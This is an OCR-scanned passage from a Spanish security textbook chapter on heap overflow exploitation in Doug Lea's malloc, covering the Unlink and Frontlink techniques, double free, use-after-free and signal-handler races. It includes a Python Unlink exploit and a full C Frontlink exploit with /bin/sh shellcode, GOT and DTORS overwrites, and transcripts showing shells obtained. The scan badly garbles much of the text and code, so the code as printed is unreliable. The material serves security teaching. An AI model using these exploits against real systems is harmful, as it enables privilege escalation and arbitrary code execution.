
free  ( }  no  llamara  a  unlink  ( ) . 

Pero  ateniendonos  a  la  segunda  consigna  de  la  que  liahlamos  hace  un  inslante,  sabemos  que  dlmalloe 
conoce  la  posicidn  del  siguiente  trozo  utilizando  eomo  desplazamiento  u  offset  el  valor  del  campo  size 
del  segundo  trozo.  Y  esta  es  la  facuitad  que  nos  permite  trucar  dlmalloe  para  crear  un  tercer  trozo  falso 
sit  a  ado  en  el  lugar  que  mejor  nos  convenga. 

Imaginemos  que  modificamos  el  valor  del  campo  size  del  segundo  trozo  (bufferZ)  y  establecemos 
un  valor  de  -4  (oxff f ffffc).  dlmalloe  pensara  que  el  trozo  contiguo  a  este  se  encuentra  4  bytes  antes 
del  comienzo  del  segundo  trozo,  e  intentara  leer  el  campo  size  de  este  tercer  trozo  falso  que  results 
coincidir  exaetamente  con  el  campo  prev  size  del  mismo  segundo  trozo.  Si  ahi  colocamos  un  valor 
arbitrario  tal  que  el  bit  prev  inuse  este  desaetivado,  free(>  precedent  a  ilamar  a  unlink o  para 
desenlazar  el  segundo  trozo.  Oraflcamente  lo  que  ocurre  es  lo  siguiente: 


Segundo  trozo  antes  de  strcpyO 


Imaged  08,08-1 :  Creadon  de  un  tercer  trozo  (’also  artificial. 
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Observe  que  el  valor  -4  provoca  que  el  tercer  trozo  falso  coinience  4  bytes  antes  del  principio  del 
segundo  trozo  y  no  desde  el  mismo  campo  size.  Bs  por  ello  que  el  carnpo  prev  size  del  segundo 
trozo  coincide  exactamente  con  el  campo  size  del  Lercer  trozo  falso. 

Asi  que  finalmente  ya  tenemos  todas  las  piezas  del  puzzle  necesarias  para  corromper  el  programa 
vulnerable: 

Segundo  trozo 

prev  size  ->  On  entero  con  el  bit  PREV_IMUSE  desactivado. 
size  ->  0 n  entero  con  el  valor  —4  (Gxfffffffc) - 

d  “>  Direccion  de  DTOR  ENE)_ _  o  entrada  GOT  menos  12. 

*bk  ->  Direccion  de  un  shellcode. 

Nuestro  shellcode  puede  ir  situado  al  principio  del  primer  trozo  (buffer!).  Por  lo  tanto,  y  eon  todas 
las  piezas  dispuestas,  podemos  disenar  un  exploit  en  Python  que  nos  devuelva  una  shell  con  nuevos 
privilegios.  En  este  caso  concrete  hcmos  sobrescrito  la  entrada  de  la  funcion  free  o  en  la  GOT,  que 
al  ser  llainada  por  segunda  vez  ejecutara  nuestro  shellcode.  Las  direcciones  de  los  bloques  reservados 
pueden  ser  obtenidas  de  la  siguiente  tbrma: 


blacknqel@bbc : itrace  ,/vuln 

black 

malloc  (512) 

-  0x804a008 

malloc (512 ) 

=  0x804a210 

strcpy (Qx8G4a008,  "black”) 

=  0x804a008 

free (0x804aGG8) 

=  <void> 

free (0x804a210) 

=  <void> 

He  aqui  el  exploit: 

from  struct  import.  * 
import  os 

shellcode  =  ” \xsb\xGcaaaa.bbbbcccc"  \ 

"\xeb\xlf \xfe\x89\x76\xG8\x31\xcO\x88\x46\x07\x89\x46\xOc\xbO\xGb"  \ 

” \x3  9\xf 3\x8d\x4e\x0  8 \x8d\x56\x0c\xcci\x80  \  x31\xdb\x8  9\xd8  \  x4  QXxcd"  \ 

T,\x8Q\xe8\xdc\xf  f  \xf  f \xf  f /bin/sh" ; 

prev  size  =  packed",  OxfffffffO) 

fake~size  =  pack ("<!",  Gxfffffffc) 

addr  sc  =  pack  ( ’’C-I11 ,  0x0804a008  +  8) 
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got_free  =  pacM"<IT,f  0x08049638  -  12) 

payload  -  "aaaabbbb"  +  shellcode  +  "b,fx  (512-len  (shellcode) -8 ) 
payload  4=  prev_size  +  £ake_size  +  got_free  +  addr  sc 
os  .  system  [ ,T ,  /vuln  ,T  +  payload) 


Y  su  ejecucion: 

blackngelQbbc;  ~3  python  exploit.. py 
sh-2 . 05b#  exit 


Memos  alcanzado  la  culminacion  de  la  tecnica  Unlink  con  exito. 


8.4.  Tecnica  Frontlink 

Nos  disponemos  a  mostrar  en  la  presente  seccion  la  segunda  aunque  menos  divulgada  tecnica 
Frontlink.  Esta  requiere  de  anas  condiciones  especial mente  concrctas  para  ser  aplicable  en  un  entomo 
real  y  sugeriinos  al  lector  que  haga  acopio  de  to  da  su  concentration  para  no  perderse  en  las  areas  mas 
oscuras  de  la  teoria  que  enseguida  vamos  a  tratar. 

8.4.1.  Conocimientos  previos 

Hablemos  ahora  sobre  el  algoritmo  utilizado  por  malloe  de  Doug  Lea  para  calendar  el  tamano  exacto 
de  un  trozo  o  buffer  solicitado  por  un  usuario  media  rite  una  II  am  a  da  a  malice  o .  Recordemos  que  la 
cabccera  de  un  trozo  en  el  heap,  ya  sea  libre  o  asignado,  se  compone  de  los  campos:  prev_size,  size, 
id  y  bk.  Si  bien  esto  es  cierto,  tambien  sabemos  que  los  dos  ultimas  no  son  utilizados  en  un  trozo 
asignado,  ya  que  solo  sirven  para  construir  la  lista  doblemente  enlazada  de  trozos  libres.  Por  lo  tanlo, 
estos  se  aprovechan  como  parte  de  la  memoria  que  contendra  los  datos  introducidos  en  el  buffer. 
Siendo  esto  asf,  al  tamano  del  bloque  de  memoria  solicitado  por  el  usuario  se  le  agregan  8  bytes 

(prev_size  +  size). 

Todavia  debemos  tener  en  cuenta  algo  mas,  como  ya  se  meneiono  anteriormente,  el  campo  prev  size 
del  trozo  posterior  a  I  que  estamos  solicitando  no  se  usa,  y  por  tan  to  puede  man  tener  datos  de  usuario 
y  formar  parte  del  nuevo  bloque  asignado  para  ahorrar  memoria. 

Por  ultimo,  malloe  o  solo  trabaja  con  trozos  cuyo  tamano  son  multiple  de  8,  de  modo  que  asignara  el 
multiplo  mas  cercano  a  la  cantidad  recien  calculada.  El  siguiente  listado  de  codigo  lo  demuestra. 

#def ine  MALLOC_AL IGNMENT  <  SISE_SZ  4-  SI2E_SZ  ) 

#def ice  M ALLGC_AL I G  N _MAS K  {  MALLOC  ALIGNMENT  -  1  ) 
tdofine  request2size {  req,  nb  )  \ 

(  nb  =  ( ( (req)  f  SIZE S£)  +  MALLQC ALI GNMASK )  &  ~MALLOC ALIGN MASK  ) 


Por  ejemplo,  una  sentencia  como  buff  =  malloe  { 666)  obtendria  como  resultado: 

nb  ^  ( ( (666)  +  4)  4  7)  &  -(7)  >  =*  672 

Por  lo  que  el  tamano  real  pasa  a  ser  672  bytes,  que  e feed v am ente  es  un  multiplo  de  8,  pues  672  /  8  = 

84. 
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8.4.2.  Explotacion 

Pasamos  ahora  a  detail  ar  en  pro  fund  idad  la  tecnica  Frontlink.  Estudiemos  detenidamente  el  eodigo  de 
la  macro  que  deseamos  atacar: 


^define  frontlink {  Ar  P,  S,  IDX,  BK,  FD  )  {  \ 

if  f  S  <  MAX_SMALLBIN_SIZE  )  {  \ 

IDX  —  smallfoih_index {  S  };  \ 

mark_b inblock  {  A,  IDX  );  \ 

BK  -  bin_at (  A,  IDX  ) ;  \ 

FD  =  BK->f d;  \ 

F->bk  =  BK;  \ 

P->f d  =  FD;  \ 

FD“>bk  =  BK->fd  =  P;  \ 

[1]  }  else  {  \ 

IDX  -  bin_index (  S  );  \ 

BK  =  bin_at  (  A,  IDX  )  ;  \ 

FD  =  BK->fd;  \ 

if  {  FD  — ~  BK  )  {  \ 

mark_binblock (A,  IDX);  \ 

}  else  {  \ 

[2]  while  (  FD  !=  BK  &&  S  <  chunks! ze ( FD)  )  f  \ 

[3j  FD  =  FD->fd;  \ 

}  \ 

[4]  BK  =  FD~>bk;  \ 

}  \ 

P->bk  =  BK;  \ 

P->f d  =  FD;  \ 

[5J  FD->bk  -  BK->fd  =  P;  \ 

}  \ 

1 


La  macro  -frontlink  ( )  es  llamada  cuando  sc  desea  liberar  un  trozo  previamente  asignado  y  sus  trozos 
contiguos,  tan  to  el  anterior  como  el  siguiente,  no  se  encuerkran  libres.  Cuando  esto  ocurre,  ninguno 
de  ios  trozos  contiguos  puede  ser  desenlazado  con  unlink  ( )  para  fusionarlo  con  el  trozo  a  liberar  (es 
dedr,  no  podemos  utilizar  la  tecnica  de  explotacion  Unlink),  de  mode  que  se  llama  directamente  a 
frontlink  ( )  para  bus  car  el  lugar  adeeuado  en  el  que  debe  introducirse  el  bloque  reden  liberado,  que 
sera  el  bin  correspondienle  a  I  tamaflo  del  trozo.  Si  este  es  lo  suficientemente  grande  (mayor  que  512 
bytes),  podemos  alcanzar  el  buele  while  senalado  en  [2j. 

El  objetivo  final  de  esta  tecnica  es  lograr  que  BK~>fd  apunte  a  la  direccion  de _ dtor  end _ o  a  la 

direccion  de  alguna  entrada  en  la  GOT,  Caso  de  lograrlo,  en  [5]  podremos  escribir  en  dicha  direccion 
la  direccion  del  trozo  f  a  liberar.  Esta  ultima  coincide  exactameme  con  su  campo  prev_size5  y  si  aht 
se  encuentra  una  instmcci6n  jmp  que  sake  directamente  a  un  shellcode  col  oc ado  antes  o  despues  de 
dieho  trozo,  entonces  podremos  ejecutar  eodigo  arbitrario. 

Existen  algunos  pasos  previos  que  deben  ser  ejecutados  para  que  el  ataque  resuke  satisfactorio.  En 
primer  lugar,  el  exploiter  debe  situar  dentro  del  bin  donde  sera  introducido  el  bloque  a  liberar,  un  trozo 
con  su  campo  fd  manipulado  que  apunte  a  su  vez  a  un  trozo  falso  situado  en  el  espacio  de  memoria 
del  proceso,  por  ejemplo  en  el  entomo  pasado  al  programa.  El  bin  conti  ene  los  trozos  en  orden 
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decree iente,  de  modo  que  el  trozo  con  el  campo  fd  manipulado  debe  ser  mayor  que  el  trozo  a  liberar 
para  que  el  bucle  while  pase  por  el  antes  de  terminal*, 

Imaginemos  que  previamente  hemos  liberado  un  trozo  manipulado  euyo  campo  fd  contuviese  una 
direccion  arbitraria  en  el  entomo.  Si  el  nuevo  bloque  a  liberar  es  menor  que  este  trozo  manipulado,  en 
[3],  cuando  se  ejecute  la  sentencia  fd  -  FD->fd,  fd  to mara  el  valor  de  esta  direccion  en  ei  entorno. 
dondc  debemos  crear  otro  trozo  falso. 

La  sigui elite  tarea  consiste  en  lograT  que  el  bucle  while  se  detenga  mientras  fd  todavi'a  apunta  al 
entorno.  Para  ello  debemos  romper  una  de  las  condiciones  que  rigen  dicho  bucle,  en  concrete  s  < 
chunks! ze  {fd)  *  Esto  se  consigue  hacienda  que  el  valor  del  campo  size  del  trozo  falso  situado  en  el 
entomo  sea  0.  Una  vez  abandonamos  el  bucle,  el  campo  bk  del  trozo  falso  creado  en  el  entorno  debe 

contener  la  direccion  de _ dtor  end _  -  8  o  una  entrada  en  la  GOT  menos  8.  Este  valor  o  direccion 

sera  introducido  en  rk  en  la  instruceion  [4]  bk  =  FD->bk. 

Llegado  a  este  punto,  en  [51  BK->fd  -  p,  sera  situado  en  bk  +  8  la  direccion  del  trozo  p,  dondc 
situaremos  codigo  maquina  valido  que  sera  ejecutado  una  vez  que  el  programa  fmaliee, 

En  la  siguienlc  ilustracidn  mostramos  la  es  true  turn  del  bloque  falso  creado  en  el  entomo. 


Iraagen  08.09;  Composicibn  del  bloque  falso. 


Resum  imos  las  condiciones  neces  arias  para  que  el  ataque  Front  link  sea  una  alternativa  de  ataque  valida 
contra  un  a  ap  1  i  c  ac  i  6  n  vu  1  n  erable : 

-  Un  buffer  en  cl  heap  que  pueda  desbordarse  con  una  fun  cion  de  entrada  de  dates. 

-  Un  buffer  contiguo  a  este  que  debe  ser  liberado  y  ai  que  se  le  modificara  el  campo  fd  de  su 
cabecera  gracias  al  desbordamiento  del  buffer  anterior. 

-  Un  buffer  a  liberar  eon  un  tamano  mayor  que  5 1 2  pero  menor  a  su  vez  que  el  buffer  anterior, 
Un  buffer  declarado  anteriormente  al  del  pa  so  3  que  permita  sobrescribir  el  campo 

prevsizo  de  este. 

El  siguiente  listado  constituye  el  programa  vulnerable  objeto  de  nuestro  analisis: 

♦include  <stdio.h> 

♦include  <stdlib.h> 

♦include  <string.h> 

int  mainlint  arge,  char  +  argv[]) 

{ 

char  *  first,  *  second.,  *third,  *  fourth,  *fifth,  *sixth; 


first  =  malloc  {strlen  (argv  [2]  )  +  1);  /Ml]*/ 

second  =  malice { 1500) ;  /*[2]*/ 

third  =  malloc (12);  /*[3]*/ 

fourth  =  malice { 666) ;  /*[4  ]■*/ 
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fifth  =  malloc  (1508)  ; 
sixth  =  malloc(l2); 

printf  { \nf  irst  =  [  %p  ]  ° ,  first); 

printf ( H \nsecond  -  [  %p  j",  second) ; 

printf ( M\nthird  =  [  %p  J",  third); 

printf  ( "\nfourth  =  [  %p  ]  "  ,  fourth); 

printf ( M\nf if th  =  [  %p  ]"f  fifth) ; 

printf  (  M \nsixth  =  [  %p  ]  \nTI ,  sixth); 

strcpy (first ,  argv [  2  ] )  ; 
free (fifth) ; 

strcpy ( fourth,  argv[I]); 
strncpy ( second,  argv[3],  64); 
free (second) ; 


/*!?]*/ 
/*[&]  */ 
/*[9] V 
/*[10] V 
/ * [11] *  / 


return  0 ; 


Una  pregunta  que  quizas  se  este  fommlando  el  lector  es  la  siguiente:  ^por  que  la  tecniea  Unlink  no 
puede  ser  aplicada  en  esie  programs  concrete?  El  analisis  es  simple,  vemos  que  el  cuarto  trozo  se 
puede  desbordar  mediante  una  llamada  vulnerable  a  strcpy  ( )  en  [9J,  pero  desgr ac iadamente  el  quinto 
trozo  eon  tig  no  es  liberado  previamente  en  [8]. 

No  obstante,  aun  cuando  este  quinto  trozo  ha  sido  introducido  en  su  bin  correspond iente  una  vez 
llamado  a  free  n  ?  todavia  podemos  alterar  su  campo  fd  mediante  el  desbordamiento  del  cuarto  trozo, 
En  este  punto  la  tecnica  Unlink  seria  un  metodo  de  ataque  viable  si  despues  de  [9]  se  produjese  una 
llamada  como  free  (fourth)  que  liberara  el  cuarto  trozo.  Como  esto  nnnca  ocurre,  todavia  nos  queda 
la  opcion  de  aprovechar  la  liberation  del  segundo  trozo  en  [1 1]  para  redirigir  el  flujo  del  programa  y 
ejecutar  eddigo  arbitrario.  En  efecto,  el  tamafio  de  este  segundo  trozo  es  mayor  que  512  bytes,  y 
ademas  existe  un  buffer  que  le  precede  (first)  que  permite  alterar  el  campo  prevsize  del  segundo. 

El  exploit  que  veremos  a  continuacion  realiza  las  siguientes  acciones: 

-  Utiliza  el  primer  argumento  pasado  al  programa  para  rellenar  el  cuarto  buffer,  incluidos  Jos 
campos  prev  size  y  size  del  trozo  siguiente  {el  quinto)  y  sobrescribe  el  campo  fd  de  este 
trozo  con  una  direction  apuntando  al  entorno  pasado  al  programa  donde  se  creara  un  trozo 
falso. 

-  Utiliza  el  segundo  argumento  pasado  al  programa  para  rellenaT  el  primer  buffer  v 
sobrescribir  el  campo  prev  size  del  segundo  buffer,  que  como  ya  sabemos  forma  parte  de  la 
zona  de  datos  del  primero,  con  una  instruction  jinp  que  saltara  12  bytes  mas  alia  y  caera 
directamente  en  la  zona  de  datos  dentro  del  shellcode, 

Utiliza  el  tercer  argumento  pasado  al  programa  para  insertar  un  shellcode  en  el  segundo 
buffer  (mediante  una  llamada  segura  a  stmepy  ( )  en  [10]). 

Crea  un  entorno  especifico  con  un  trozo  falso  euyos  campos  seran;  prev  size  =  dummy* 

size  =  0,  fd  =  DUMMY,  bk  =  &  { DTORS^END)  -  8. 

Al  fmalizar  el  ataque,  la  disposition  del  heap  deberia  quedar  tal  y  como  mostramos  en  la  siguiente 
i  lustration: 
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Imagen  08,10:  Disposition  del  heap  Lras  el  alaque. 

La  direccion  del  trozo  falso  creado  en  el  entorno  se  caieula  de  la  siguienle  manera: 

(  (OxcOOOOOOO  ”4)  -  sizeof (name_prog)  -  (16+1)  ) 

El  trozo  falso  quedara  asi  eonstituido: 
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[magen  08  !  S :  Trozo  falso  en  el  entorno. 


Supongamos  ahora  que  hemos  obtenido  la  direccion  de _ dtor  end _ en  0x0804973c,  Por  lo  tanto, 

0x0804  97  3  4  es  d  valor  a  usar  en  el  campo  bk  del  trozo  falso  ubicado  en  el  entorno.  He  aqui  el  exploit: 

tinclude  <stdio.h> 

#include  <stdlib.h> 
tinclude  <string.h> 

#include  <unistd.h> 


Caphulo  Vlll,  Heap  Overflows  Exploits  has  teas 


#def ine  DTOR_EMD (GxG8G4973c  -  8) 

idefine  VOLN_PROG  "./vulnh" 

#def ine  TR0ZQ_FAL5G  (  {OxcOOOOGQO  -  4)  -  sizeof (VULN_PROG)  -  (16  +  1)  ) 
#define  DUMMY  0x0 defaced 

char  she II code  [  ]  =  ” \x4 1  \x4 1  \x4  l\x4  l\x41  \x4 1  \x41  \x4 1 ,T  /*  Basura  */ 

"\xeb\xlf \x5e\x89\x76\xQ8\x31\xc0\x8S\x46\x07\x89\x46\xQc,T 
T,\xbO\xOb\x89\xf 3\x8d\x4e\x03\x8d\x56\x0c\xcd\x80\x31\xdb" 

"  \x39\xd8\x4Q\xcd\x80\xe8\xdc\xf f\xf f \xf f /bin/sh”  ; 
char  jump[]  =  ,T\x01\xeb\x0c\x0l" ; 
int  main (void) 

{ 

char  *p; 

char  argvl [ 67 6+1 ] ; 

char  argv2 [52] ; 

char  argv3[64]; 

char  fake_chunk[16  +  1]  ; 

size_t  size; 

char  **envp; 

Char  *argv []  =  {  VULNJPROG,  argvl,  argv2,  argv3,  NULL  }; 
p  =  argvl; 

memset (pf  ’B',  676-4); 
p  +=  676  -  4; 

*  <  (void  **)p  )  =  (void  * )  (TROZO_FALSO)  ; 

P  +-  4 ; 

*p  =  T \ 0 1 ; 
p  -  argv2; 

memset (p,  1  BT,  52  -  si zeof ( j ump) ) ; 

p  +=  52  -  si zeof ( j ump) ; 
memepy (p,  jump,  si zeof ( j ump) ) ; 
p  =  argv3; 

merncpy(p,  shellcode,  sizeof (shellcode) ) ; 


p  =  fake  chunk; 

*  t  (void  *  * ) p  ) 
p  +=  4; 

=  (void 

*) (DUMMY) ; 

* (  (void  *  * ) p  ) 
P  +=  4; 

=  (void 

*) (0x00000000) ; 

*  (  (void  **)p  ) 
P  +=  4; 

=  (void 

*) (DUMMY) ; 

*  (  (void  *  * ) p  ) 

=  (void 

*) ( _ DTOR_END _ 

p  +=  4; 

*P  =  T \0 1 ; 

size  =  0 ; 

for  (  p  ■=  f ake_chunk;  p  <  fake_chunk  +  (16  +  1)  ;  p++  )  { 

if  (*p  -=  1 \0  T ) 
size++; 

} 

size++ ; 

envp  =  ma Hoc  (size  *  sizeof  (char  *))  ; 
size  =  0 ; 

for  (  p  =  fake^chunk;  p  <  fake_chunk  +  (16+1);  p  +=  strlen (p) +1  )  { 
envp [size++]  =  p; 

} 

envp [size]  -  NULL; 

exeeve ( argv [0] ,  argv,  envp); 

return  -1;  /*  No  deberia  llegar  a  producirse  * / 
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Los  ocho  primeros  bytes  del  shellcode  son  un  relleno  necesario,  va  que  al  momenta  de  liberar  el 
segundo  trozo*  la  macro  frontiinkQ  ejecuta  estas  dos  instrucriones: 

P->bk  =  BK; 

P->f  d  =  FD; 


Como  se  puede  ver,  los  campos  bk  y  fd  del  segundo  trozo  seran  modificados.  Como  el  atacante  tiene 
control  sobre  el  campo  prev_size  del  segundo  trozo  y  lo  utiliza  para  situar  alU  un  salto  de  12  bytes, 
esto  no  provocara  ningun  eonflicto* 


blackngeldbbc: gdb  . /exp_frontlink 
(gdb)  run 

Starting  program:  /root/exp_f rent link 


Program  received  signal 
0x4  Q0012b0  in  _start  () 

( gdb )  c 
Continuing  - 

first  -  [  0x8049700  ] 
second  =  [  Gx8G497b8  ] 
third  =  [  0x80  4 9d98  ] 
fourth  =  [  Qx8Q49da8  ] 
fifth  =  [  0x8  Q4aQ48  J 
sixth  =  [  0x8Q4a630  J 
Program,  received  signal 
0x4 000 1.2b 0  in  _start  () 
t  gdb )  c 
Continuing. 
sh^2.05b$  exit 


SIGTRAF r  Trace/breakpoint  trap, 
from  / Xib/ld-linux . so . 2 


SIGTRAF r  Trace /breakpoint  trap, 
from  /lib/ld-linux. so . 2 


Comprobamos  que  a  pesar  de  que  las  condi  clones  previas  para  la  ejeeucion  de  un  ataque  de  esta  dase 
en  la  vida  real  son  bastante  especulattvas,  no  deja  de  ser  una  altemativa  lotalmente  valida  que  ya  ha 
sido  utilizada  con  anterioridad  para  atacar  aplicaciones  vulnerables.  El  conocimiento  adquirido  a  lo 
largo  de  las  ultimas  secciones  constituye  el  punto  de  partida  ideal  para  la  comprension  de  las  tecnicas 
avanzadas  que  detallaremos  en  el  proximo  capitulo. 


8.5.  Otros  bugs:  double  free()  y  use  after  free() 

8.5.1  Double  free() 

Una  vulnerabilidad  double  freeQ  se  produce  cuando  un  bloque  previamente  asignado  por  una  llamada 
a  maiioc  ()  es  liberado  dos  veces.  La  causa  se  debe  normalmente  a  un  error  logico  en  la  gestion  de  las 
eondiciones  del  programa  como  la  que  podemos  vcr  a  continuacion. 

char*  ptr  =  (char*)  malloc (SIZE) ; 

if  (  CONDICION  )  { 

free  (ptr)  ; 

free  (ptr);  
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Cuando  la  memoria  a  la  que  apunta ptr  es  liberada  dentro  del  bloque  if,  esta  pasa  a  formar  parte  de 
la  lista  doblemente  enlazada  de  trozos  libres,  pero  el  puntero  ptr  tod  avia  apunta  en  la  misma  direccion. 
Una  futura  llamada  a  malice  ( }  podria  contener  su  zona  de  datos  dentro  de  este  espacio  liberado  y  por 
lo  tanto  una  segunda  llamada  a  free  ( >  sobre  el  mismo  puntero  podria  estar  Hberando  un  bloque  falso 
que  tenga  los  datos  de  su  cabecera  modifieados  para  ejecutar  codigo  arbitrario,  La  pagina  web  o tidal 
del  MITRE  nos  faeilita  el  siguiente  ejemplo. 


#include  <stdio,h> 

# include  <string.h> 
# include  <unistd«h> 


#def ine  BUFSIZE1  512 
^define  BUFSIZE2  { (EUFSrZEl/2)  ~  8) 
int  main(int  argc,  char  **argv) 
t 

char  *buflRl; 
char  *buf2Rl; 


char  *buflR2; 

buflRl  =  (char  *)  malice (BUF5IZE2) ; 
buf 2R1  =  (char  *)  malloc (BUF5IZE2) ; 
free (buflRl ) ; 
free (buf2Rl) ; 

buf 1R2  =  {char  *■>  ma Hoc  (BUFSIZE1 )  ; 
if  (  argc  >  1  ) 

Strncpy (buf 1R2  ,  argv[l] ,  BUFSIZE1-1); 
free (buf 2R1)  ; 
free (buf 1R2)  ; 


Si  ejecutamos  el  programa  vulnerable  modi  ante  l  trace  podremos  observer  su  comportamiento. 


blackngelSbbc :-$  Itrace  ./df  black 

malloc (248) 

= 

0x80  4a00  8 

malloc (248) 

= 

0x80  4al 08 

free  ( Qx804a008) 

<void> 

free (Qx804al08) 

= 

<void> 

malloc  (512) 

= 

0x8G4aQG3 

strncpy ( 0x8  0  4aQQ  8 ,  "black",  511) 

= 

0x804a008 

free (0x804al08) 

= 

<void> 

free (0x804a008) 

= 

<void> 

Es  faci]  ver  que  dos  trozos  de  248  bytes  (256  si  agregamos  el  tamano  de  la  cabecera)  han  sido 
reservados  y  posteriormente  liberados.  El  algoritmo  free  ( )  ha  detectado  que  son  bloques  eontiguos  y 
los  ha  unido  para  formar  un  bloque  de  memoria  mas  grande,  en  concrete  de  5 12  bytes.  Luego  se  reserva 
otro  trozo  con  este  tamano  preciso  y  en  el  se  introduce!!  datos  del  usuario.  Por  desgracia,  buf  2ri  ahora 
sigue  apuntando  justo  en  la  niitad  de  la  zona  de  datos  de  este  ultimo  trozo  asignado,  por  lo  que  cuando 
se  libera  erroneamente  de  nuevo,  este  contiene  informacion  que  puede  corromper  las  estructuras  de 
datos  intemas  de  la  aplicacion  y  asr  un  atacante  puede  redirigir  el  flujo  hacia  un  shellcode, 

Pero  aun  existe  otra  opcidn  disponible  para  un  atacante.  Imagine  que  un  mismo  bloque  de  memoria  se 
libera  dos  veces  de  forma  contigua.  Este  bloque  ser&  ahnacenado  por  duplicado  en  una  lista  enlazada 
de  bloques  libres,  Ahora  reservamos  un  trozo  del  tamano  adecuado  y  escribimos  datos  arbitrarios  en 
los  primeros  8  bytes  de  memoria  asignados  (correspondientes  con  los  punteros  fd  y  bk  si  fuese  un 
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trozo  libre).  Otra  solicitud  a  malice  n  con  el  mismo  tamano  intentana  desenlazar  el  segnndo  bloque 
previamente  liberado  pero  que  ahora  tiene  dos  punteros  modificados  para  ejecutar  codigo  arbiirario. 


8.5*2  Use  after  freeQ 

Una  vulnerabilidad  use  after  freeQ  se  produce  cuando  un  puntero  previamente  liberado  es  usado  de 
nuevo  sin  control*  Exislen  multitud  de  errores  logicos  que  pueden  conducir  a  este  tipo  de  bugs  y  los 
navegadores  web,  debido  a  su  complejidad  y  envergadura,  ban  sido  algimas  de  las  aplicaciones  mas 
afect&das  en  los  ultirnos  tiempos, 

char*  ptr  -  (char*)  malloc(128); 

if  (  CONDIGION  )  { 

free (ptr) ; 

} 

use  (ptr) ; 


Capita lo  VJIi  Heap  Overflows:  Exploits  hdsicos 
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En  el  ejemplo,  cuando  CONDICION  es  verdadera  la  memoria  apuntada  por  ptr  es  liberada, 
Observamos  que  mis  adelante  la  memoria  apuntada  por  ptr  es  usada  de  nuevo  a  pesar  de  que  ya  no 
deberia  pertenecer  a  ptr.  Veamos  un  segundo  ejemplo  de  aplicacion  vulnerable. 

linclude  <stdio.h> 
linclude  <string.h> 
linclude  <unistd.h> 

# define  BUFSIZER1  512 

^define  BUFSIZER2  { (BUF5I ZER1 /2 )  -  3) 

int  maln(int  argc,  char  **argv) 

{ 

char  *buflRI,- 
char  *buf2Rl; 
char  *buf2R2; 
char  *buf 3B2 ; 

buflRl  =  (char  *)  malloc (BUFSIZER1) ; 
buf 2R1  =?.  (char  *)  malloc  (BUFSIZERl)  ; 
free (buf2Rl) ; 

buf 2K2  =  (char  *}  malloc (BUF5IZER2) ; 
buf 3R2  =  (char  *)  malloc (BUF5IZER2) ; 
strncpy (bu£2Rl,  argv[I],  BUF5IZER1-1) ; 
free (buflRl) ; 
free (buf2R2)  ; 
free (buf3H2) ; 

) 


De  nuevo,  it  race  nos  ayudara  a  comprender  que  es  lo  que  ha  ocurrido. 

blackngel@bbc:  *$  ltrace  . /df  'perl  -e  'print  T,AMx300T' 


malloc  (512) 
malloc  (512) 
free (0xS04 a2 10) 
malloc  (248) 
malloc  (248) 

strncpy (0x8Q4a21Q,  n  AAAAhA .  .  .  " ,  511) 
free ( 0x8  04a00  8 ) 

f ree (0x804a210  <unfinished  .  *  „  > 

-  SIGSEGV  (Segmentation  fault)  - 


=  0x80  4aOG8 
=  0x804a2l0 
=  <vo  id> 

=  Qx8Q4a2 10 
=  0x8  04a3 1 0 
=  Ox8G4a008 
=  <void> 


Se  reservan  dos  bloques  de  5 12  bytes  y  se  libera  cl  segundo.  Este  ultimo  espacio  es  lo  sufic ientemente 
grande  para  albergar  los  dos  nuevos  trozos  asignados  de  248  bytes.  bu£2Ri,  a  pesar  de  haber  sido 
liberado,  aun  apunta  a  la  direecion  de  memoria  0x80  4a2io  que  ahora  pertenece  tambicn  a  buf2R2,  y 
ademas,  se  produce  sobre  el  primero  una  llamada  a  strcpy  ( )  eon  datos  proporcionados  por  el  usuario 
y  de  tal  longitud  que  sobrescribira  la  cabecera  de  datos  de  buf3R2,  con  lo  que  una  posterior  llamada  a 
free  ( )  realizara  sus  acciones  manejando  estructuras  de  daios  corrompidas  en  beneficio  de  un  atacante. 


8.6.  Peligros  en  los  manej adores  de  senates 

La  complcja  logica  del  software  actual  puede  ser  tan  confusa,  que  algunas  vulncrabilidades  insidiosas 
todavla pueden  escapar  al  ojo  atento  del  analista.  Las  llamadas  a  malloc ( )  y  freed  que  se  produzcan 
dentro  de  un  manejador  de  senales  (aqiiel  establecido  por  una  funcion  como  signal  ( )  o  sigaction  ( ) ), 
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no  estan  recomendadas  por  los  estandares  y  pueden  constituir  un  grave  error  de  seguridad  debido  a  la 
naturaleza  asmcrona  de  estas  imerrupciones. 

Michal  Zalewski  deraostro  en  2001  que  el  uso  inadecuado  de  las  senates  puede  provocar  la  aparicion 
dc  condiciones  de  carrera  que  conduzcan  poster!  ormente  a  desbordamientos  en  el  heap.  La  pagina  man 
de  sigactionO  nos  indica  que  funciones  pueden  ser  invoeadas  sin  restriceiones  por  el  programador. 


Funciones  rcentr  antes  o  no  inter  rum  pibles 


exitU,  access  (),  alarm  t)  ,  cfget  i  speed  {)  ,  cfgetospeed  ( )  r  cf  setispeed  ( )  , 
cfsetospeedO  r  eh  dir  ( )  ,  chmod  ()  ,  chown  {)  ,  closed  f  creatd,  dup  ( )  f  dup.2  <  j  , 
execle 0  ,  execvef)  ,  f cntl  ( )  ,  f ork ( > ,  fpathconf 0 ,  fstatd  ,  f sync 0  ,  getegidf), 
geteuld  ()  ,  getgid(),  getgroups  0  ,  gelpgrp  ()  ,  getpid 0 ,  getppidO,  getuid(), 
kill  0  f  link  { )  ,  IseekO,  mkdir  ( )  ,  mkfifoO  f  open  ()  ,  pathconf  O  ,  pause  0  ,  pipe  ( )  , 
raise  0,  read()  ,  rename () ,  rmdir () ,  setgid ( ) f  setpgidO,  setsid 0 ,  setuid<), 
sigactionOf  sigaddset  ()  ,  sigdelset[)  ,  sigemptys.et  ( )  t  sigf illset  { }  f 
sigismember () ,  signal  0 ,  sigpending ( ) f  sigprocmask ( ) ,  sigsuspend (} ,  sleep  Of 
stat  ( )  ,  sysconf  ( )  f  terrain  ()  ,  tcflow()r  tcflushO,  tcgetattr  0  ,  tcgetpgrp  (}  , 
tcsendbreak  (}  f  tcsetattr (}  ,  tcsetpgrpO,  time  O  ,  times  0 ,  umask  ()  ,  unamet), 
unlink  0,  utimeO,  waitO,  waitpid(),  write  (),  aio_error  0  r  clock  get time {) * 
sigpause  0  f  timer_get  over  run  ( )  ,  aio_return  ()  f  fdatasync  (.)  ,  sigqueuef), 
time r_get time ( ) ,  aio_suspend () ,  semjpostO,  sigset() ,  timer_settime O , strcpy ( } P 
s  treat  0  f  strncpyO,  strncat  ()  ,  strlcpyO,  strlcat{). 


